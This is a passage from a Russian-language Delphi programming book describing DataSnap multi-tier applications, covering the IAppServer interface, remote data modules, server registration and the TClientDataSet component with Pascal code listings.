function AS ApplyUpdates (const ProviderName: WideString; Delta: OleVariant; MaxErrors: Integer; out ErrorCount: Integer; var OwnerData: OleVariant) : OleVariant; safecall; Передает изменения, полученные от клиентского набора данных, компоненту-провайдеру, определяемому параметром ProviderName. Изменения содержатся в параметре Delta. Параметр MaxErrors задает максимальное число ошибок, пропускаемых при сохранении данных перед прерыванием операции. Реальное число возникших ошибок возвращается параметром ErrorCount. Параметр OwnerData содержит дополнительную информацию, передаваемую между клиентом и сервером (например, значения параметров методов-обработчиков). Функция возвращает пакет данных, содержащий все записи, которые не были сохранены в базе данных по какой-либо причине

function AS DataRequest (const ProviderName: WideString; Data: OleVariant) : OleVariant; safecall; Генерирует событие OnDataRequest для указанного провайдера ProviderName

procedure AS Execute (const ProviderName: WideString; const CommandText : WideString; var Params : OleVariant; var OwnerData: OleVariant) ; safecall;
Выполняет запрос или хранимую процедуру, определяемые параметром CommandText для провайдера, указанного параметром ProviderName. Параметры запроса или хранимой процедуры содержатся в параметре Params

function AS GetParams (const ProviderName: WideString; var OwnerData: OleVariant): OleVariant; safecall; Передает провайдеру ProviderName текущие значения параметров клиентского набора данных

function AS GetProviderNames: OleVariant; safecall; Возвращает список всех доступных провайдеров удаленного модуля данных

function AS GetRecords (const ProviderName : WideString, Count: Integer; out RecsOut: Integer; Options: Integer; const CommandText: WideString; var Params : OleVariant; var OwnerData :OieVariant) : OleVariant; safecall;
Возвращает пакет данных с записями набора данных сервера, связанного с компонентом-провайдером. Параметр CommandText содержит имя таблицы, текст запроса или имя хранимой процедуры, откуда необходимо получить записи. Но он работает только в случае, если для провайдера в параметре Options включена опция poAllowCommandText. Параметры запроса или процедуры помещаются в параметре Params. Параметр задает требуемое число записей, начиная с текущей, если его значение больше нуля. Если параметр равен нулю — возвращаются только метаданные, если он равен -1 — возвращаются все записи. Параметр RecsOut возвращает реальное число переданных записей

function AS RowRequest (const ProviderName: WideString; Row: OleVariant; RequestType: Integer; var OwnerData: OleVariant): OleVariant; safecall;
Возвращает запись набора данных (предоставляемого провайдером ProviderName), определяемую параметром Row. Параметр RequestType содержит значение типа TfetchOptions

Большинство методов интерфейса используют параметры ProviderName и OwnerData. Первый определяет имя компонента-провайдера, а второй содержит набор параметров, передаваемых для использования в методах-обработчиках.

Внимательный читатель обратил внимание, что использование метода AS_GetRecords подразумевает сохранение информации при работе интерфейса, т. к. метод возвращает записи, начиная с текущей, хотя интерфейс IAppServer имеет тип stateless. Поэтому перед использованием метода рекомендуется обновлять набор данных клиента.

Тип

TFetchOption = (foRecord, foBlobs, foDetails);
TFetchOptions = set of TFetchOption;

используется в параметре RequestType метода AS_RowRequest.

foRecord — возвращает значения полей текущей записи;

foBlobs — возвращает значения полей типа BLOB текущей записи;

foDetails — возвращает все подчиненные записи вложенных наборов данных для текущей записи.

Интерфейс IProviderSupport

Для организации взаимодействия клиентов с сервером БД удаленный модуль данных сервера приложения должен содержать компоненты-провайдеры TDataSetProvider. При этом используются методы интерфейса IAppServer.

Для обмена данными с набором данных на сервере компонент-провайдер применяет интерфейс IProviderSupport, который включен в любой компонент набора данных, произошедший от класса TDataSet. В зависимости от используемой технологии доступа к данным каждый компонент, инкапсулирующий набор данных, имеет собственную реализацию методов интерфейса IProviderSupport.

Методы интерфейса могут понадобится разработчику только при создании собственных компонентов, инкапсулирующих набор данных и наследующих от класса TDataSet.

Удаленные модули данных

Удаленный модуль данных является основой сервера приложения (см. рис. 20.2) для многозвенного распределенного приложения. Во-первых, он выполняет функции обычного модуля данных — на нем можно размещать компоненты доступа к данным. Во-вторых, удаленный модуль данных инкапсулирует интерфейс IAppServer, обеспечивая тем самым выполнение функций сервера и обмен данными с удаленными клиентами.

В зависимости от используемой технологии в Delphi можно использовать удаленные модули данных пяти типов.

Remote Data Module. Класс TRemoteDataModule инкапсулирует сервер Автоматизации.
Transactional Data Module. Класс TMTSDataModule является потомком класса TRemoteDataModule и к функциям обычного сервера Автоматизации добавляет возможности MTS.

WebSnap Data Module. Класс TWebDataModule создает сервер приложения, использующий возможности Internet-технологий.

Soap Server Data Module. Класс TSOAPDataModule инкапсулирует сервер SOAP.

CORBA Data Module. Класс TCORBADataModule является потомком класса TRemoteDataModule и реализует функции сервера CORBA.

Ниже мы рассмотрим процесс создания сервера приложения на основе удаленного модуля данных TRemoteDataModule. Остальные модули данных (за исключением удаленного модуля данных для CORBA) детально рассматриваются далее в этой книге.

Удаленный модуль данных для сервера Автоматизации

Для создания удаленного модуля данных TRemoteDataModule используется Репозиторий Delphi (команда File | New | Other). Значок класса TRemoteDataModuie находится на странице Multitier. Перед созданием экземпляра удаленного модуля данных появляется диалоговое окно, в котором необходимо предустановить три параметра.
Строка CoClass Name должна содержать имя нового модуля данных, которое будет также использовано для именования нового класса, создаваемого для поддержки нового модуля данных.

Список Instancing позволяет задать способ создания модуля данных.

Internal — модуль данных обеспечивает функционирование лишь внутреннего сервера Автоматизации.
Single Instance — для каждого клиентского соединения создается собственный экземпляр удаленного сервера Автоматизации в собственном процессе.
Multiple Instance — для каждого клиентского соединения создается собственный экземпляр удаленного сервера Автоматизации в одном общем процессе.

Список Threading Model задает механизм обработки запросов клиентов.

Single — поток запросов клиентов обрабатывается строго последовательно.
Apartment — модуль данных одновременно обрабатывает один запрос. Однако если DLL для выполнения запросов создает экземпляры СОМ объектов, то для запросов могут создаваться отдельные нити, в которых обработка ведется параллельно.
Free — модуль данных может создавать нити для параллельного выполнения запросов.
Both — аналогична модели Free, за исключением того, что все ответы клиентам возвращаются строго один за другим.
Neutral — запросы клиентов могут направляться модулям данных в нескольких нитях одновременно. Используется только для технологии СОМ+.

При создании нового удаленного модуля данных создается специальный класс — наследник класса TRemoteDataModule. И фабрика класса на основе класса TComponentFactory

Класс TComponentFactory представляет собой фабрику класса для компонентов Delphi, инкапсулирующих интерфейсы. Поддерживает интерфейс IClass Factory.

Создадим, например, удаленный модуль данных simpleRDM. В мастере создания модуля данных в качестве способа создания выберем Single Instance, a Free — как модель обработки запросов.

type
  TSimpleRDM = class(TRemoteDataModuie, ISimpleRDM)
  private
  protected
    class procedure UpdateRegistry(Register: Boolean; const Classic, ProgID:                                           string); override;
   public
  end;

implementation

{$R *.DFM}

class procedure TSimpleRDM.UpdateRegistry(Register: Boolean; const
                ClassID, ProgID: string);
begin
  if Register then
    begin
      inherited UpdateRegistry(Register, Classic, ProgID);
      EnableSocketTransport(ClassID);
      EnableWebTransport(ClassID);
    end
  else
    begin
      DisableSocketTransport(ClassID);
      DisableWebTransport(ClassID);
      inherited UpdateRegistry(Register, ClassID, ProgID);
   end;
end;

initialization
  TComponentFactory.Create(ComServer, TSimpleRDM, Class_SimpleRDM,                            ciMultilnstance, tmApartment);
end.

Обратите внимание, что параметры модуля данных, заданные при создании, использованы в фабрике класса TComponentFactory в секции initialization.

Фабрика класса TComponentFactory обеспечивает создание экземпляров компонентов Delphi, поддерживающих использование интерфейсов.

Метод класса UpdateRegistry создается автоматически и обеспечивает регистрацию и аннулирование регистрации сервера Автоматизации. Если параметр Register имеет значение True, выполняется регистрация, иначе — отмена регистрации.

Разработчик не должен использовать этот метод, т. к. его вызов осуществляется автоматически.

Одновременно с модулем данных создается и его интерфейс — потомок интерфейса IAppServer. Его исходный код содержится в библиотеке типов проекта сервера приложения. Для удаленного модуля данных simpleRDM созданный интерфейс isimpleRDM представлен ниже. Для удобства из листинга удалены автоматически добавляемые комментарии.

LIBID_SimpleAppSrvr: TGUID='(93577575-OF4F-43B5-9FBE-A5745128D9A4}';
IID_ISimpleRDM: TGUID = '{Е2СВЕВСВ-1950-4054-В823-62906306Е840}'; CLASS_SimpleRDM: TGUID = '{DB6A6463-5F61-485F-8F23-EC6622091908}' ;

type
  ISimpleRDM = interface;
  ISimpleRDMDisp = dispinterface;
  SimpleRDM = ISimpleRDM;
  ISimpleRDM = interface(lAppServer)
  ['{E2CBEBCB-1950-4054-B823-62906306E840}']
end;

ISimpleRDMDisp = dispinterface
  ['{E2CBEBCB-1950-4054-B823-62906306E840}']

function AS_ApplyUpdates(const ProviderName: WideString; Delta: OleVariant; MaxErrors: Integer; out ErrorCount: Integer; var OwnerData: OleVariant): OleVariant; dispid 20000000; function AS_GetRecords(const ProviderName: WideString; Count: Integer; out RecsOut: Integer; Options: Integer; const CommandText: WideString; var Params: OleVariant; var OwnerData: OleVariant): OleVariant; dispid 20000001;

function AS_DataRequest(const ProviderName: WideString; Data: OleVariant): OleVariant; dispid 20000002;

function AS_GetProviderNames: OleVariant; dispid 20000003;

function AS_GetParams(const ProviderName: WideString;

var OwnerData: OleVariant): OleVariant; dispid 20000004;

function AS_RowRequest(const ProviderName: WideString; Row: OleVariant; RequestType: Integer; var OwnerData: OleVariant): OleVariant; dispid 20000005;

procedure AS_Execute(const ProviderName: WideString; const CommandText: WideString; var Params: OleVariant; var OwnerData: OleVariant);

dispid 20000006;

end;

CoSimpleRDM = class
  class function Create: ISimpleRDM;
  class function CreateRemote(const MachineName: string): ISimpleRDM;
end;

imp1ementation uses ComObj;

class function CoSimpleRDM.Create: ISimpleRDM;
begin
  Result := CreateComObject(CLASS_SimpleRDM) as ISimpleRDM;
end;

class function CoSimpleRDM.CreateRemote(const MachineName: string):ISimpleRDM;
begin
  Result := CreateRemoteComObject(MachineName, CLASS_SimpleRDM) as ISimpleRDM;
end;

end.

Обратите внимание, что интерфейс ISimpleRDM является потомком интерфейса IAppServer, рассмотренного выше.

Так как удаленный модуль данных реализует сервер Автоматизации, дополнительно к основному дуальному интерфейсу ISimpleRDM автоматически создан интерфейс диспетчеризации isimpleRDMDisp. При этом для интерфейса диспетчеризации созданы методы, соответствующие методам интерфейса IAppServer.

Класс coSimpleRDM обеспечивает создание СОМ-объектов, поддерживающих использование интерфейса. Для него автоматически созданы два метода класса.

class function Create: ISimpleRDM;

используется при работе с локальным и внутренним сервером (in process).

class function CreateRemote(const MachineName: string): ISimpleRDM;

используется в удаленном сервере.

Оба метода возвращают ссылку на интерфейс ISimpleRDM.

Теперь, если проект с созданным модулем данных сохранить и зарегистрировать, он станет доступен в удаленных клиентских приложениях как сервер приложения.

После создания удаленный модуль данных становится платформой для размещения компонентов доступа к данным и компонентов провайдеров (см. гл. 20), которые, наряду с модулем данных, реализуют основные функции сервера приложения.

Дочерние удаленные модули данных

Один сервер приложения может содержать несколько удаленных модулей данных, которые, например, выполняют различные функции или обращаются к разным серверам БД. В этом случае процесс разработки серверной части не претерпевает изменений. При выборе имени сервера в компоненте удаленного соединения на стороне клиента будут доступны имена всех удаленных модулей данных, включенных в состав сервера приложения.

Однако тогда для каждого модуля понадобится собственный компонент соединения. Если это нежелательно, можно использовать компонент TSharedConnection, но в этом случае в интерфейсы удаленных модулей данных необходимо внести изменения.

Для того чтобы несколько модулей данных были доступны в рамках одного удаленного соединения, необходимо выделить один главный модуль данных, а остальные сделать дочерними.

Рассмотрим, что же это означает для практики создания удаленных модулей данных. Суть идеи проста. Интерфейс главного модуля данных (разработчик назначает модуль главным, исходя из собственных соображений) должен содержать свойства, указывающие на интерфейсы всех других модулей данных, которые также необходимо использовать в рамках одного соединения на клиенте. Такие модули данных и называются дочерними.

Если такие свойства (свойство должно иметь атрибут только для чтения) существуют, все дочерние модули данных будут доступны в свойстве ChildName Компонента TSharedConnection (см. гл. 20).

Например, если дочерний удаленный модуль данных носит название Secondary, главный модуль данных должен содержать свойство Secondary:

ISimpleRDM = interface(lAppServer)
  ['{E2CBEBCB-1950-4054-B823-62906306E840}']
  function Get_Secondary: Secondary; safecall;
  property Secondary: Secondary read Get_Secondary;
end;

Реализация метода Get_secondary выглядит так:

function TSimpleRDM.Get_Secondary: Secondary;
begin
  Result := FSecondaryFactory.CreateCOMObject(nil) as ISecondary;
end;

Как видите, в простейшем случае достаточно вернуть ссылку на вновь созданный дочерний интерфейс.

Полностью пример создания дочернего удаленного модуля данных рассматривается далее в этой главе.

Регистрация сервера приложения

Для того чтобы клиент мог "увидеть" сервер приложения, он должен быть зарегистрирован на компьютере сервера. В зависимости от используемой технологии процесс регистрации имеет особенности. Регистрация серверов MTS, Web и SOAP рассматривается далее в этой книге.

Здесь же мы остановимся на регистрации сервера приложения, использующего удаленный модуль данных TRemoteDataModule (сервер Автоматизации), который чрезвычайно прост.

Для исполняемых файлов достаточно запустить сервер с ключом /regserver или даже просто запустить исполняемый файл.

В среде разработки ключ можно поместить в диалоге команды меню Run Parameters.

Для удаления регистрации используется ключ /unregserver, но только в командной строке.

Для регистрации динамических библиотек применяется ключ /regsvr32.


Клиент многозвенного распределенного приложения (статья)

Клиент многозвенного распределенного приложения

Клиентское ПО в распределенном многозвенном приложении имеет особенности архитектуры, продиктованные его ролью — ведь большая часть бизнес-логики и функций обработки данных сосредоточены в сервере приложений. Такая схема призвана обеспечить более высокую эффективность обработки запросов многочисленных удаленных клиентов, а также упрощает обслуживание клиентского ПО. Клиенты, выполняющие лишь необходимый минимум операций, называются "тонкими".

Клиенты многозвенных приложений обеспечивают выполнение следующих функций:

· соединение с сервером приложений, прием и передача данных;
· отображение средствами пользовательского интерфейса;
· простейшие операции редактирования;
· сохранение локальных копий данных.

При разработке клиентских частей многозвенных приложений в Delphi используются компоненты DataSnap, а также компонент TClientoataSet, роль которого трудно переоценить.

Помимо новых компонентов в процессе разработки применяются стандартные компоненты отображения данных

Структура клиентского приложения

По своей структуре клиентское приложение подобно обычному приложению баз данных
Соединение клиента с сервером приложений осуществляется специализированными компонентами DataSnap. Эти компоненты взаимодействуют с удаленным модулем данных, входящим в состав сервера, при помощи методов интерфейса IAppServer.

Также в клиентском приложении могут использоваться дополнительные, определенные разработчиком, методы интерфейса удаленного модуля данных, унаследованного от интерфейса IAppServer. Подробнее об этих компонентах и способах их настройки на удаленный сервер приложений см. гл. 21.

Внимание

Соединение с сервером приложений обеспечивает динамическая библиотека MIDAS.DLL, которая должна быть зарегистрирована на компьютере клиента.

Как и обычное приложение БД, клиент многозвенного распределенного приложения должен содержать компоненты, инкапсулирующие набор данных, которые связаны с визуальными компонентами отображения данных посредством компонентов TDataSource.

Очевидно, что набор данных сервера должен быть скопирован клиентским приложением в некий локальный буфер. При этом должен использоваться эффективный механизм загрузки данных сравнительно небольшими порциями, что позволяет значительно разгрузить транспортный канал между клиентом и сервером приложений.

Кэширование и редактирование данных в клиентском приложении обеспечивает специализированный компонент TclientDataSet, отдаленным предком которого является класс TDataSet. Помимо унаследованных от предков методов, класс TclientDataSet инкапсулирует ряд дополнительных функций, облегчающих управление данными.

Примечание

Подобно обычному приложению БД, в "тонком" клиенте для размещения невизуальных компонентов доступа к данным необходимо использовать модули данных.

Для получения набора данных сервера компонент TclientDataSet взаимодействует с компонентом TDataSetProvider, используя методы интерфейса IProviderSupport (см. гл. 21).

По существу все уникальные функции клиентского приложения сосредоточены в компоненте TclientDataSet, изучением которого мы и займемся далее в этой главе. В остальном клиентское приложение не отличается от обычного приложения БД и при его разработке могут применяться стандартные методы.

Клиентские наборы данных

В Палитре компонентов Delphi представлено несколько компонентов, инкапсулирующих клиентский набор данных. В то же время при разработке настоящих удаленных клиентских приложений применяется компонент TClientDataSet. Внесем ясность в этот вопрос. Итак, помимо компонента TClientDataSet, расположенного на странице Data Access, существуют еще два компонента:

TSimpleDataSet — разработан для технологии доступа к данным dbExpress и, по существу, является единственным полноценным средством для работы с набором данных в рамках этой технологии;
TiBdientDataSet — используется в технологии доступа к данным сервера InterBase — InterBase Express.
Все перечисленные компоненты произошли от общего предка — класса TCustomClientoataSet. Они обеспечивают локальное кэширование данных и взаимодействие с серверным набором данных при посредстве интерфейса IProviderSupport.

Основное различие между компонентом TClientDataSet и другими клиентскими компонентами заключается в том, что первый предназначен для использования с внешним компонентом-провайдером данных. А значит, он может взаимодействовать с удаленным провайдером данных.

Остальные перечисленные компоненты инкапсулируют внутренний провайдер данных, предоставляя тем самым для использования в рамках соответствующих технологий доступа к данным эффективный механизм локального кэширования данных. Использование внутреннего провайдера данных обеспечивает общий класс- предок TCustomCachedDataSet.

Для этого он имеет защищенное свойство

property Provider: TDataSetProvider;

Соединение с источником данных осуществляется не свойством RemoteServer (будет рассмотрено ниже применительно к компоненту TclientDataSet). задающим удаленный сервер, а стандартными средствами соответствующей технологии доступа к данным.

Таким образом, для работы с удаленными данными (т. е. внешними по отношению к клиенту) пригоден только компонент TclientDataSet, умеющий работать с внешним провайдером данных.

Компонент TClientDataSet

Компонент TclientDataSet используется в клиентской части многозвенного распределенного приложения. Он инкапсулирует набор данных, переданный при помощи компонента-провайдера из удаленного набора данных. Компонент обеспечивает выполнение следующих основных функций:

получение данных от удаленного сервера и передача ему сделанных изменений с использованием удаленного компонента-провайдера;
представление набора данных при помощи локального буфера и поддержка основных операций, унаследованных от класса TDataSet;
объединение записей набора данных при помощи агрегатных функций для получения суммарных данных;
локальное сохранение набора данных в файле и последующее восстановление набора данных из файла;
представление набора данных в формате XML.

Предком компонента TclientDataSet является класс TDataSet, поэтому TclientDataSet обладает таким же набором функций, что и обычный компонент, инкапсулирующий набор данных. Основное же отличие заключается в том, источник данных для него доступен только через удаленный компонент-провайдер. Это означает, что сохранение изменений и обновление набора данных осуществляется локально, без обращения к источнику данных.

Например, выполнение метода Post приведет лишь к сохранению текущей записи набора данных в локальном кэше. Все изменения отсылаются на сервер только при необходимости и легко управляются разработчиком.

Как и обычный компонент, компонент TclientDataSet может использоваться совместно с визуальными компонентами отображения данных. Для этого нужен компонент TDataSource.

Рассмотрим основные функции, реализуемые компонентом TclientDataSet.

Получение данных от компонента - провайдера

Компонент TClientDataSet получает доступ к удаленным данным через компонент соединения DataSnap (см. гл. 20). В зависимости от используемой технологии, это могут быть технологии TDCOMConnection, TSocketConnection, TWebConnection ИЛИ TCorbaConnection.

Компонент TClientDataSet связывается с компонентом соединения при помощи свойства

property RemoteServer: TCustomRemoteServer;

Если соединение настроено правильно, то ссылка на интерфейс IAppServer в свойстве

property AppServer: IAppServer;

совпадает со свойством

ClientDataSet.RemoteServer.AppServer;

После настройки соединения в свойстве property ProviderName: string;

можно выбрать один из компонентов-провайдеров, которые доступны на сервере приложений, выбранном в компоненте соединения.

Если провайдер был подключен правильно, свойство только для чтения

property HasAppServer: Boolean;

автоматически принимает значение True.

Теперь компонент готов к приему данных. При использовании метода

procedure Open;

или свойства

property Active: Boolean;

компонент получает от провайдера первый пакет данных.

Размер пакета определяется свойством

property PacketRecords: Integer;

которое задает число записей, передаваемое в одном пакете. Если свойство имеет значение —1 (это значение по умолчанию), передаются все записи набора данных. Если оно равно 0 — клиенту передаются только метаданные о наборе данных.

Если соединение клиента с сервером медленное, число записей в пакете можно уменьшить, но желательно так, чтобы при использовании компонентов TDBGrid полученные в одном пакете записи полностью заполняли рабочую область этого компонента.

Одновременно разработчик имеет возможность управлять доставкой следующих пакетов. Для этого используется метод

function GetNextPacket: Integer;

Например, это можно сделать следующим образом:

procedure TDataModulel.ClientDataSetAfterScroll(DataSet: TDataSet);
begin
  if ClientDataSet.EOF then ClientDataSet.GetNextPacket;
end;

Свойство

property FetchOnDemand: Boolean;

должно иметь значение False. При значении True оно разрешает компоненту получать новые пакеты данных по мере надобности, например, при необходимости прокрутки записей в компоненте TDBGrid.

До и после получения очередного пакета соответственно выполняются обработчики событий:

type
  TRemoteEvent = procedure(Sender: TObject; var OwnerData: OleVariant) of object;
  property BeforeGetRecords: TRemoteEvent;
  property AfterGetRecords: TRemoteEvent;

Содержимое очередного пакета представлено свойством

property Data: OleVariant;

Данные в нем хранятся в транспортном формате, готовые для пересылки. Причем его можно использовать не только для чтения, но и для записи, формируя пакет данных для отправки провайдеру:

var OwnerData: OleVariant;
    MaxErrors, ErrorCount: Integer;
    MaxErrors := 0;

ResultDataSet.Data := SourceDataSet.AppServer.AS_ApplyUpdates('',    SourceDataSet.Delta, MaxErrors, ErrorCount, OwnerData);

Метод AS_AppiyUpdates передает данные, содержащиеся в буфере Delta, провайдеру на сервер и возвращает записи, сохранить которые не удалось.

Размер буфера Data в байтах возвращает свойство

property DataSize: Integer;

Кэширование и редактирование данных

После получения записей от провайдера набор данных сохраняется в локальном буфере памяти. И все вносимые изменения после применения метода Post также сохраняются локально и не пересылаются на сервер. Буфер изменений доступен при помощи свойства

property Delta: OleVariant;

Для передачи изменений на сервер используется метод

function ApplyUpdates(MaxErrors: Integer); Integer; virtual;

где параметр MaxErrors задает число ошибок, которые игнорируются при сохранении данных на сервере. Если параметр равен —1, сохранение на сервере прерывается при первой же ошибке. Метод возвращает число сохраненных записей.

После выполнения метода ApplyUpdates все записи, сохранить которые не удалось, возвращаются клиенту в локальный буфер Delta.

Если клиентское приложение будет редко изменять свои наборы данных, сохранение изменений на сервере можно связать с методом-обработчиком

AfterPost:

procedure TForml.ClientDataSetAfterPost(DataSet: TDataSet);
begin
  ClientDataSet.ApplyUpdates(-1);
end;

Свойство только для чтения

property ChangeCount: Integer;

возвращает общее число изменений, содержащееся в буфере Delta. Для очистки буфера изменений используется метод

procedure CancelUpdates;

После вызова метода свойство ChangeCount принимает значение 0.

До и после сохранения изменений на сервере соответственно вызываются методы-обработчики

property BeforeApplyUpdates: TRemoteEvent;
property AfterApplyUpdates: TRemoteEvent;

Несмотря на сделанные локально многократные изменения, запись может быть восстановлена в первоначальном виде. Метод

procedure RefreshRecord;

получает от провайдера первоначальный вариант текущей записи, сохраненный на сервере.

При этом (и при всех других случаях, когда компонент запрашивает обновление текущей записи) вызываются методы-обработчики

property BeforeRowRequest: TRemoteEvent;
property AfterRowRequest: TRemoteEvent;

Но что делать, если необходимо восстановить удаленную запись? В обычном наборе данных после сохранения это невозможно. В компоненте TClientDataSet существует метод

function UndoLastChange(FollowChange: Boolean): Boolean;

который возвращает набор данных к состоянию до последней выполненной операции редактирования, добавления или удаления записи. Если параметр FollowChange имеет значение True, курсор набора данных будет установлен на восстановленную запись.

О состоянии текущей записи позволяет судить метод

function UpdateStatus: TUpdateStatus; override;

который возвращает значение типа

TUpdateStatus = (usUnmodified, usModified, uslnserted, usDeleted);

означающее состояние текущей записи:

usUnmodified — запись осталась неизменной;
usModified — запись была изменена;
uslnserted — запись была добавлена;
usDeleted — запись была удалена.

Например, при закрытии набора данных можно выполнить проверку:

if ClientDataSet.UpdateStatus = usModified then ShowMessage('Record was changed');

На основе типа можно управлять видимостью записей в наборе данных. Свойство

property StatusFilter: TUpdateStatusSet;

определяет, какой тип записей будет отображаться в наборе данных. Например:

ClientDataSet.StatusFilter := usDeleted;

отобразит в наборе данных только удаленные записи (при этом изменения не сохранены на сервере).

Управление запросом на сервере

Компонент TdientDataSet может не только эффективно управлять своим набором данных, но и влиять на выполнение серверного компонента, с которым он связан через провайдер.

Свойство

property CornmandText: string;

содержит текст запроса SQL, имя таблицы или хранимой процедуры в зависимости от типа серверного компонента.

Изменив значение этого свойства на клиенте, можно, например, модифицировать запрос SQL на сервере. Но для этого в свойстве Options соответствующего компонента-провайдера TDataSetProvider должно быть установлено значение

poAliowCommandText := True;

Новое значение свойства CommandText отправляется на сервер только после открытия клиентского набора данных или выполнения метода

procedure Execute; virtual;

Для запросов или хранимых процедур можно задавать параметры, которые сохраняются в свойстве

property Params: TParams;

До выполнения запроса присваиваются значения входным параметрам. После выполнения хранимой процедуры в выходных параметрах размещаются полученные от сервера значения.

Обратите внимание, что при выполнении запросов или хранимых процедур может измениться порядок следования параметров. Поэтому обращаться к параметрам желательно по их именам. Например, так:

Editl.Text := ClientDataSet.Params .ParamByName('OutputParam') .AsString;

Для того чтобы получить текущие значения параметров компонента набора данных на сервере, достаточно использовать метод

procedure FetchParams;

Перед и после получения параметров от провайдера, клиентский набор данных вызывает методы-обработчики событий:

property BeforeGetParams: TRemoteEvent;
property AfterGetParams: TRemoteEvent;

Использование индексов

Обычно использование индексов — прерогатива сервера БД. Из компонентов Delphi только табличные компоненты могут в какой-то степени управлять использованием индексов. Очевидно, что удаленное соединение не способствует эффективному управлению индексами набора данных на сервере. Поэтому компонент TclientDataSet предоставляет разработчику возможность создавать и использовать локальные индексы.

Правильно созданные и используемые локальные индексы могут существенно ускорить выполнение операций с набором данных. В то же время их невозможно сохранить вместе с набором данных локально, их необходимо перестраивать при каждом новом открытии набора данных и его обновлении с сервера.

Для создания локального индекса используется метод

procedure Addlndex(const Name, Fields: string;  Options: TIndexOptions;
const DescFields: string = '';
const CaselnsFields: string = '';
const GroupingLevel: Integer = 0);

Параметр Name определяет имя нового индекса. Параметр Fields должен содержать имена полей, которые разработчик хочет включить в индекс. Имена полей должны разделяться точкой с запятой. Параметр options позволяет задать тип индекса:

TIndexOption = (ixPrimary, ixUnique, ixDescending, ixCaselnsensitive, ixExpression, ixNonMaintained);

TIndexOptions = set of TIndexOption;

ixPrimary — первичный индекс;
ixUnique — значения индекса уникальны;
ixDescending — индекс сортирует записи в обратном порядке;
ixCaselnsensitive — индекс сортирует записи без учета регистра символов;
ixExpression — в индексе используется выражение (для индексов dBASE);
ixNonMaintained — индекс не обновляется при открытии таблицы.

При этом можно задать поля, порядок сортировки которых будет обратным. Для этого их необходимо перечислить через точку с запятой в параметре DescFields. Параметр CaselnsFields аналогичным образом позволяет задать поля, на сортировку которых не влияет регистр символов.

Параметры DescFields и CaselnsFields используются вместо параметра Options.

Параметр GroupingLevel задает уровень группировки полей индекса. Подробнее об этом см. ниже в разд. "Агрегаты" этой главы.

Основные свойства компонента, обеспечивающие управление индексами, совпадают с аналогичными свойствами табличных компонентов (подробнее об этом см. гл. 12). Поэтому лишь кратко перечислим их.

При работе с компонентом разработчик имеет возможность управлять индексами.

Созданный индекс подключается к набору данных свойством

property IndexName: String;

которое должно включать имя индекса или использовать свойство

property IndexFieldNames: String;

в котором можно задать произвольное сочетание имен индексированных полей таблицы. Имена полей разделяются точкой с запятой. Свойства IndexName и IndexFieldNames нельзя использовать одновременно.

Число полей, используемых в текущем индексе табличного компонента, возвращает свойство

property IndexFieldCount: Integer;

свойство

property IndexFields: [Index: Integer]: TField;

представляет собой индексированный список полей, входящих в текущий индекс.

Параметры созданных индексов доступны в свойстве

property IndexDefs: TIndexDefs;

Класс TIndexDefs подробно рассматривается в гл. 12.

После создания и подключения индекса записи набора данных "переупорядочиваются" в соответствии со значениями индексированных долей.

Удаление локального индекса обеспечивает метод

procedure Deletelndex(const Name: string);

После удаления текущего индекса или его отмены (обнуления свойства IndexName) записи набора данных "переупорядочиваются" в исходном порядке, соответствующем порядку записей набора данных на сервере.

Имена всех существующих в наборе данных индексов можно загрузить в список при помощи метода

procedure GetlndexNames(List: TStrings);

Например:

Memol.Lines.Clear;
ClientDataSet.GetlndexNames(Memol.Lines);

Сохранение набора данных в файлах

Клиентское приложение может использовать одну очень удобную функцию компонента TClientDataSet. Представим, что соединение между сервером и клиентом обладает малой пропускной способностью и к тому же часто обрывается. Что в этом случае делать пользователю, который внес много изменений и не может сохранить их на сервере?

В этом случае можно сохранить набор данных клиента в файле на локальном диске, а при удобной возможности — загрузить обратно и переслать на сервер.

Для сохранения данных (по существу это буфер Data) в файле используется метод

procedure SaveToFile(const FileName: string = ''; Format: TDataPacketFormat=dfBinary);

Причем, если параметр FileName пуст, имя файла берется из свойства

property FileName: string;

Также можно передать данные в поток:

procedure SaveToStream(Stream: TStream; Format: TDataPacketFormat=dfBinary);

Формат, в котором данные будут сохранены, определяется параметром

Format!

type TDataPacketFormat = (dfBinary, dfXML, dfXMLUTFS);

где dfBinary — бинарный вид, dfXML — формат XML, dfXMLUTFS — формат XML в кодировке UTF8.

Обратная загрузка данных, соответственно, выполняется методами:

procedure LoadFromFile(const FileName: string = '');

и

procedure LoadFromStreamfStream: TStream);

После загрузки набор данных полностью готов к работе:

if LoadFileDialog.Execute then
  begin
    ClientDataSet.LoadFromFile(LoadFileDialog.FileName);
    ClientDataSet.Open;
  end;

Работа с данными типа BLOB

Если набор данных сервера содержит большие поля (например, изображения), передача данных по медленному каналу займет очень много времени,

что, несомненно, снизит эффективность приложения. Простейшее решение проблемы — передача клиенту данных типа BLOB только в том случае, когда это ему действительно необходимо — т. е. исключительно по его запросу.

В компоненте TCHentDataSet процессом передачи полей типа BLOB можно управлять, используя свойство

property FetchOnDemand: Boolean;

По умолчанию оно равно значению True и клиентский набор данных "выкачивает" данные BLOB по мере необходимости автоматически. Это означает, что приложение будет останавливаться и заново получать данные при любом просмотре данных, прокрутке и т. д. Если свойство имеет значение False, для получения данных клиент должен явно вызвать метод

procedure FetchBlobs;

Но, кроме этого, в свойстве options компонента-провайдера TDataSetProvider обязательно должно быть установлено значение:

poFetchBlobsOnDemand := True;

Представление данных в формате XML

Набор данных клиента легко можно представить в формате XML. Для этого достаточно использовать свойство

property XMLData: OleVariant;

которое возвращает данные, содержащиеся в буфере Data (см. выше) в бинарном виде, в формате XML.

Например, клиентский набор данных можно сохранить в файле формата XML:

if SaveDialog.Execute then
  with TFileStream.Create(SaveDialog.FileName, fmCreate) do
    try
      Write(Pointer(ClientDataSet.XMLData)^, Length(ClientDataSet.XMLData));
    finally
      Free ;
    end;

Агрегаты

Наличие локального буфера данных позволяет компоненту TClientDataSet реализовать ряд дополнительных функций, основанных на использовании агрегатных функций применительно к полям всего набора данных, загруженного в локальный буфер.

К агрегатным функциям относятся:

AVG — вычисляет среднее значение;
COUNT — возвращает число записей;
MIN — вычисляет минимальное значение;
МАХ — вычисляет максимальное значение;
SUM — вычисляет сумму.
Для их применения в компоненте TClientDataSet предусмотрены:

индексированный список объектов, инкапсулирующих агрегатные выражения — агрегаты;
агрегатные поля, обеспечивающие получение новых значений подобно вычисляемым полям, но с группированием записей на основе использования агрегатных функций.

Объекты-агрегаты

Для вычисления агрегатных выражений для всех записей набора данных используются объекты класса TAggregate. Индексированный список этих объектов содержится в свойстве

property Aggregates: TAggregates;

